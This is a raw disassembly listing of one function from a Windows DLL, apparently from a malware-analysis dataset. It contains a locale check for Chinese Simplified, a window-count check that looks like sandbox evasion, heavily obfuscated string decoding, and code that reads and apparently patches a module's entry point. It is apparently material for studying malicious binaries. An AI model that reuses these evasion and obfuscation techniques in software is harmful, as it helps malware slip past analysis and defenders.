Function at 0x18000dfb0
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
push r13
mov rbp, rsp
sub rsp, 0x78
mov rax, qword [0x1800792c0]
xor rax, rsp
mov qword [rbp - 0x20], rax
call fcn.18000c720
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov ecx, 0x804
cmp ax, cx
jne 0x18000f754
xor r13d, r13d
lea rdx, [rbp - 0x28]
lea rcx, [0x18000c710]
mov dword [rbp - 0x28], r13d
call qword [sym.imp.USER32.dll_EnumWindows]
cmp dword [rbp - 0x28], 5
jle 0x18000f754
movzx r8d, byte [rbp - 0x58]
xor eax, eax
mov qword [rsp + 0x90], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0x70], r12
movabs r12, 0x3bcfcce9ee2f50ee
mov qword [rsp + 0x68], r14
mov r14, qword [0x1800804b8]
mov qword [rsp + 0x60], r15
mov r15, qword [0x1800804c0]
mov dword [rbp - 0x48], 0x43424d4c
movups xmmword [rbp - 0x44], xmm0
mov dword [rbp - 0x34], eax
mov byte [rbp - 0x30], al
nop
mov rax, r15
mov r9, r14
nop word [rax + rax]
mov rbx, r13
movabs rcx, 0x88f183a99da0bab6
cmp rbx, 0x19
jae 0x18000ec00
movzx r11d, byte [rbp + rbx - 0x48]
mov esi, r11d
movzx edi, r11b
cmp rax, rbx
ja 0x18000ebf8
lea rdx, [r9 + 1]
cmp rax, rdx
jae 0x18000e0c4
lea rdx, [rbx + rcx]
mov r8d, 3
movzx ecx, sil
and cl, dl
sub r8b, cl
add r8b, r8b
add r8b, r11b
add r8b, dl
jmp 0x18000e0fe
je 0x18000eb78
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x18000eaeb
lea rcx, [rdx + 1]
cmp rax, rcx
je 0x18000eaaf
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x18000ea90
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x18000ea4c
movzx edi, r11b
movzx r10d, bl
cmp r9, rbx
ja 0x18000ebf0
lea rdx, [r9 + 6]
cmp rax, rdx
jae 0x18000e134
lea r8, [rbx + r12]
movzx ecx, sil
and cl, r8b
mov edx, 0x3f
sub dl, cl
add dl, dl
add dl, dil
add r8b, dl
jmp 0x18000e171
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x18000ea0a
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x18000e9e7
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x18000e9cc
cmp rax, rdx
je 0x18000e9af
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x18000e994
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x18000e6de
nop
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x18000e6c3
lea rcx, [r9 + 0x400]
cmp rax, rcx
je 0x18000e69d
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x18000e67a
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x18000e65f
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x18000e63f
lea rcx, [r9 + 0x80]
cmp rax, rcx
je 0x18000e622
lea rcx, [r9 + 0xa]
cmp rax, rcx
je 0x18000e607
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x18000e5ea
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x18000e5bf
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x18000e180
lea rax, [r9 + 0x42]
lea r9, [rax + 0x64]
lea rcx, [r9 + 8]
cmp rax, rcx
jb 0x18000ebcf
lea rcx, [r9 + 0x2a]
cmp rax, rcx
jb 0x18000ebae
lea rcx, [r9 + 0x3e8]
cmp rax, rcx
jb 0x18000e380
lea rcx, [r9 + 0x20]
cmp rax, rcx
jb 0x18000e35d
lea rcx, [r9 + 4]
cmp rax, rcx
jb 0x18000e33e
lea rcx, [r9 + 0x7a]
cmp rax, rcx
jb 0x18000e578
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x18000e52f
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x18000e4f1
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x18000e4c8
lea rcx, [r9 + 3]
cmp rax, rcx
jb 0x18000e180
lea rax, [r9 + 0x1000]
lea r9, [rax + 0x61]
lea rcx, [r9 + 0x40]
cmp rax, rcx
ja 0x18000e49d
lea rcx, [r9 + 6]
cmp rax, rcx
ja 0x18000e480
lea rcx, [r9 + 0x5a]
cmp rax, rcx
ja 0x18000e465
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x18000e448
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x18000e428
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x18000e40d
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x18000e3ea
lea rcx, [r9 + 0x41]
cmp rax, rcx
ja 0x18000e3c4
lea rcx, [r9 + 0x80]
cmp rax, rcx
ja 0x18000e3a9
lea rcx, [r9 + 0xa]
cmp rax, rcx
ja 0x18000e180
lea rax, [r9 + 1]
lea r9, [rax + 2]
jmp 0x18000e180
lea r8d, [rbx - 0x2e]
mov edx, 0x21
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000e171
movzx r10d, bl
mov edx, 0x1b
lea r8d, [r10 + 0x66]
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000e106
lea r8d, [rbx - 6]
mov edx, 0x15
movzx ecx, r8b
and cl, r11b
sub dl, cl
movabs rcx, 0x88f183a99da0bab6
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000e094
lea edx, [r10 + 0x70]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x10
jmp 0x18000ea20
add r10b, 4
inc r9
movzx ecx, r10b
dec rbx
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x1c
inc rbx
jmp 0x18000e073
sub r10b, 0x68
dec rbx
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x28
inc rbx
jmp 0x18000e073
lea edx, [r10 + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x34
jmp 0x18000ea6a
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
add rax, r9
jmp 0x18000ead2
add r10b, 0x54
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x4c
jmp 0x18000ead2
lea edx, [r10 - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x58
jmp 0x18000eb16
add r10b, 0x7c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x64
jmp 0x18000eb3e
add r10b, 0x10
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
lea r8d, [r11 + r10]
sub r8b, 0x70
inc rbx
jmp 0x18000e073
sub r10b, 0x7e
mov edx, 0x39
movzx ecx, r10b
and cl, r11b
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
mov byte [rbp + rbx - 0x48], r8b
inc rbx
jmp 0x18000e073
lea r8d, [r10 + 0x16]
mov edx, 0x33
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
cmp r9, 4
jb 0x18000e4e4
lea edx, [r10 - 0x7c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, r11b
lea r8d, [rdx*2 - 0x38]
jmp 0x18000ea20
lea r8d, [r10 - 0x56]
mov edx, 0x2d
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
cmp rax, 0x42
jae 0x18000e95d
lea rcx, [r9 + 0x64]
cmp rax, rcx
jbe 0x18000e88d
lea edx, [r10 + 0x4c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x14
jmp 0x18000e50b
lea r8d, [r10 + 0x3e]
mov edx, 0x27
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
lea rcx, [r9 + rax]
cmp rcx, 9
je 0x18000e97b
lea rcx, [r9 + 0xa]
cmp rax, rcx
jbe 0x18000e7b7
lea r8d, [r10 + 0x5e]
mov edx, 0x37
movzx ecx, r8b
and cl, r11b
jmp 0x18000e53f
sub r10b, 0x6c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
lea r8d, [r11 + r10]
sub r8b, 0xc
inc rbx
jmp 0x18000e073
add r10b, 0x28
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x18
jmp 0x18000eb3e
lea edx, [r10 - 0x44]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x24
jmp 0x18000eb16
add r10b, 0x50
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x30
jmp 0x18000ead2
sub r10b, 0x1c
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x3c
add rax, r9
jmp 0x18000ead2
lea edx, [r10 + 0x78]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x48
jmp 0x18000ea6a
add r10b, 0xc
dec rbx
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x54
inc rbx
jmp 0x18000e073
sub r10b, 0x60
inc r9
movzx ecx, r10b
dec rbx
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x60
inc rbx
jmp 0x18000e073
lea edx, [r10 + 0x34]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x6c
jmp 0x18000ea20
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jae 0x18000e6ff
lea r8d, [r10 - 0x4a]
mov edx, 3
movzx ecx, r8b
and cl, r11b
jmp 0x18000e588
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x18000e733
sub r10b, 0x24
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
lea r8d, [r11 + r10]
sub r8b, 4
inc rbx
jmp 0x18000e073
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x18000e75b
lea r8d, [r10 - 0x4c]
mov edx, 0xa
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000eb16
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x18000e78b
add r10b, 0x64
mov edx, 0x22
movzx ecx, r10b
dec rbx
and cl, r11b
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
inc rbx
jmp 0x18000e073
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x18000e592
lea r8d, [r10 + 0x3c]
mov edx, 0x2e
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000ea20
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x18000e7df
lea r8d, [r10 - 0x36]
mov edx, 0x3d
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000ea20
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x18000e80b
sub r10b, 0x5e
dec rbx
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x6e
inc rbx
jmp 0x18000e073
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x18000e82f
lea edx, [r10 + 0xe]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x62
jmp 0x18000ea6a
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x18000e855
sub r10b, 0x42
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x32
jmp 0x18000eb3e
lea rcx, [r9 + 8]
cmp rax, rcx
jne 0x18000e549
add r10b, 0x2a
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
lea r8d, [r11 + r10]
sub r8b, 0x26
inc rbx
jmp 0x18000e073
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x18000e8c1
sub r10b, 0x48
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
lea r8d, [r11 + r10]
sub r8b, 8
inc rbx
jmp 0x18000e073
inc rcx
cmp rax, rcx
jne 0x18000e8ea
add r10b, 0x24
mov edx, 2
movzx ecx, r10b
and cl, r11b
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x18000eb3e
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x18000e912
lea r8d, [r10 - 0x70]
mov edx, 8
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x18000eb16
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x18000e929
lea r8d, [r10 - 0x2c]
mov edx, 0x1a
jmp 0x18000ea59
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x18000e50b
add r10b, 0x40
mov edx, 0x20
movzx ecx, r10b
dec rbx
and cl, r11b
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
inc rbx
jmp 0x18000e073
lea r8d, [r10 - 0x10]
movzx edx, r11b
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, 0x38
add dl, dl
add r8b, dl
jmp 0x18000ea6a
lea r8d, [r10 + 0x5c]
mov edx, 0x3e
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
jmp 0x18000eb13
lea edx, [r10 - 0x1e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x2e
jmp 0x18000eb16
add r10b, 0x76
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x3a
jmp 0x18000ead2
lea edx, [r10 - 0x62]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x52
jmp 0x18000ea6a
add r10b, 0x32
dec rbx
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x5e
inc rbx
jmp 0x18000e073
lea edx, [r10 + 0x5a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x76
add r10b, 0x3a
mov edx, 0x35
movzx ecx, r10b
and cl, r11b
sub dl, cl
add dl, dl
add dl, r10b
add dl, r11b
mov byte [rbp + rbx - 0x48], dl
inc r9
dec rbx
inc rbx
jmp 0x18000e073
movzx r10d, bl
mov edx, 0x27
lea r8d, [r10 + 0x3e]
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
sub r10b, 0x5a
mov edx, 0x3b
movzx ecx, r10b
and cl, r11b
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
add dl, r11b
mov byte [rbp + rbx - 0x48], dl
add rax, r9
jmp 0x18000ead2
lea r8d, [rbx - 0x2e]
mov edx, 0x21
movzx ecx, r8b
and cl, r11b
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
add rax, r9
jmp 0x18000ead2
movabs r8, 0xd07da0f68aa69066
mov edx, 0x1b
add r8, rbx
movzx ecx, r8b
and cl, sil
sub dl, cl
add dl, dl
add dl, dil
add r8b, dl
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x18000e073
movabs r8, 0xbe9a99a34f651afa
mov edx, 0x15
add r8, rbx
movzx r11d, dil
movzx ecx, r8b
movzx r10d, bl
and cl, sil
sub dl, cl
add dl, dl
add dl, dil
add r8b, dl
add r10b, 0x12
inc r9
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x7e
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rbx - 0x48], cl
add rcx, r9
sub rbx, rcx
lea edx, [rbx - 0x38]
inc rax
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 0x78
add dl, r11b
mov byte [rbp + rbx - 0x48], dl
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x18000e073
movabs r8, 0x9ad48afcd8e23022
mov edx, 9
add r8, rbx
movzx ecx, r8b
and cl, sil
sub dl, cl
add dl, dl
add dl, dil
add r8b, dl
movzx ecx, byte [rbp + rbx - 0x48]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x18000e073
sub r10b, 0x72
mov edx, 0xf
movzx ecx, r10b
and cl, r11b
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x18000e066
add r10b, 0x22
mov ecx, 9
movzx eax, r10b
and al, r11b
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, r11b
jmp 0x18000e05e
mov eax, dword [rbp + 0x17d7200]
jmp 0x18000ec03
mov eax, dword [rbp + 0x15e2cb6]
jmp 0x18000ec03
mov eax, dword [rbp - 0x48]
movsxd rcx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, qword [0x1800804b8]
xorps xmm0, xmm0
mov r15, qword [0x1800804c0]
movzx r10d, byte [rbp - 0x58]
movsxd rcx, dword [rax + 0x3c]
mov dword [rbp - 0x28], 0x28ec8348
mov dword [rbp - 0x24], 0x617e8
mov dword [rbp - 0x48], 0x8b8a8d94
mov r12d, dword [rcx + rax + 0x28]
add r12, rax
xor eax, eax
mov dword [rbp - 0x34], eax
movups xmmword [rbp - 0x44], xmm0
nop dword [rax]
mov r8, r15
mov r9, r14
nop word [rax + rax]
mov rdi, r13
movabs rcx, 0xf00e998750aecec2
cmp rdi, 0x18
jae 0x18000f6b3
movzx ebx, byte [rbp + rdi - 0x48]
mov esi, ebx
nop
cmp r8, rdi
ja 0x18000f6ab
lea rax, [r9 + 1]
cmp r8, rax
jae 0x18000ecab
lea r10, [rdi + rcx]
movzx eax, sil
and al, r10b
add al, al
sub r10b, al
sub r10b, 0x4e
add r10b, bl
jmp 0x18000ece4
je 0x18000f62e
inc rax
cmp r8, rax
je 0x18000f5a8
lea rax, [r9 + 3]
cmp r8, rax
je 0x18000f56d
lea rax, [r9 + 4]
cmp r8, rax
je 0x18000f549
lea rax, [r9 + 2]
cmp r8, rax
je 0x18000f502
movzx r11d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x18000f6a3
lea rax, [r9 + 9]
cmp r8, rax
jae 0x18000ed19
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x66
jmp 0x18000ed50
lea rax, [r9 + 1]
cmp r8, rax
je 0x18000f4ea
lea rax, [r9 + 5]
cmp r8, rax
je 0x18000f4cc
lea rax, [r9 + 6]
cmp r8, rax
je 0x18000f4b1
lea rax, [r9 + 2]
cmp r8, rax
je 0x18000f483
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x18000f147
nop dword [rax]
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x18000f139
lea rax, [r9 + 9]
cmp r8, rax
je 0x18000f115
lea rcx, [r9 + 0x42]
cmp r8, rcx
je 0x18000f0ef
lea rax, [r9 + 4]
cmp r8, rax
je 0x18000f0d4
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x18000f0b1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x18000f091
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x18000f073
lea r9, [rcx + 0x2a]
mov r8, rcx
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x18000f683
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x18000f663
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x18000eefa
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x18000eedb
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x18000eec1
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x18000f04b
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x18000ed60
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x20]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x18000f022
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x18000f002
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x18000efe3
lea rax, [r9 + 1]
cmp r8, rax
ja 0x18000efc8
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x18000efa5
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x18000ef8a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x18000ef64
lea rcx, [r9 + 2]
cmp r8, rcx
ja 0x18000ef3b
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x18000ef20
lea rax, [r9 + 8]
cmp r8, rax
ja 0x18000ed60
mov r8, rcx
lea r9, [rcx + 0x7a]
jmp 0x18000ed60
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
jmp 0x18000ed50
lea edx, [r11 - 0x2e]
mov ecx, 0x21
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x18000ecf0
add r11b, 0x4e
movabs rcx, 0xf00e998750aecec2
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x22
jmp 0x18000ec80
lea edx, [r11 + 0x50]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x30
jmp 0x18000f51d
sub r11b, 0x34
mov ecx, 0x36
movzx eax, bl
inc r9
and al, r11b
dec rdi
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x18000ec63
add r11b, 0x48
mov ecx, 4
movzx eax, bl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x18000ec63
lea edx, [r11 - 0x3c]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x5c
jmp 0x18000f438
add r11b, 0x40
mov ecx, 0x20
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
add r8, r9
jmp 0x18000f58f
sub r11b, 0x44
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x24
jmp 0x18000f58f
lea edx, [r11 + 0x38]
mov ecx, 0x3c
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x18000f5ca
sub r11b, 0x4c
mov ecx, 0xa
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x18000f5f2
add r11b, 0x30
movzx eax, bl
and al, r11b
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
lea r10d, [r11 + rbx]
sub r10b, 0x50
inc rdi
jmp 0x18000ec63
add r11b, 0x66
mov ecx, 0x1b
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x48], r10b
inc rdi
jmp 0x18000ec63
lea edx, [r11 + 0x74]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x18000f5ca
sub r11b, 0x10
mov ecx, 0x38
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x18000f58f
add r11b, 0x6c
mov ecx, 6
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
add r8, r9
jmp 0x18000f58f
lea edx, [r11 - 0x18]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x58
jmp 0x18000f438
add r11b, 0x64
mov ecx, 0x22
movzx eax, bl
dec rdi
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x18000ec63
sub r11b, 0x20
movzx eax, bl
and al, r11b
inc r9
add al, al
dec rdi
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x20
inc rdi
jmp 0x18000ec63
lea edx, [r11 + 0x5c]
mov ecx, 0x3e
jmp 0x18000f50f
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x18000f201
lea edx, [r11 - 0x3e]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x4e
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x18000f462
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x18000f2c8
lea edx, [r11 + 0x3a]
mov ecx, 0x35
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r8, 6
jae 0x18000f423
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x18000f373
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
cmp r9, 9
jb 0x18000f066
lea edx, [r11 + 0x4c]
movzx ecx, bl
movzx eax, bl
and al, dl
add al, al
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x28]
jmp 0x18000f520
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x18000f238
sub r11b, 0x2c
movzx eax, bl
and al, r11b
mov ecx, 0x1a
sub cl, al
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x18000ec63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x18000f261
add r11b, 0x60
mov ecx, 0x30
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x18000f58f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x18000f288
sub r11b, 0x1c
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x3c
add r8, r9
jmp 0x18000f58f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x18000f2ad
mov ecx, 0x14
lea edx, [r11 + 0x68]
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x18000f438
lea rax, [r9 + 6]
cmp r8, rax
jne 0x18000f16d
lea edx, [r11 - 0xc]
mov ecx, 0x2a
jmp 0x18000f50f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x18000f2ec
lea edx, [r11 - 0x42]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 0x32
jmp 0x18000f51d
inc rax
cmp r8, rax
jne 0x18000f315
sub r11b, 0x3a
movzx eax, bl
and al, r11b
dec rdi
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x6a
inc rdi
jmp 0x18000ec63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x18000f33d
lea edx, [r11 - 0x2a]
mov ecx, 0x13
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x18000f5ca
lea rax, [r9 + 3]
cmp r8, rax
jne 0x18000f1a4
sub r11b, 0x22
movzx eax, bl
and al, r11b
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
lea r10d, [r11 + rbx]
sub r10b, 0x12
inc rdi
jmp 0x18000ec63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x18000f3aa
sub r11b, 0x58
movzx eax, bl
and al, r11b
mov ecx, 0x34
sub cl, al
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x18000ec63
inc rax
cmp r8, rax
jne 0x18000f3d1
lea edx, [r11 - 0x50]
mov ecx, 0x18
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x18000f5ca
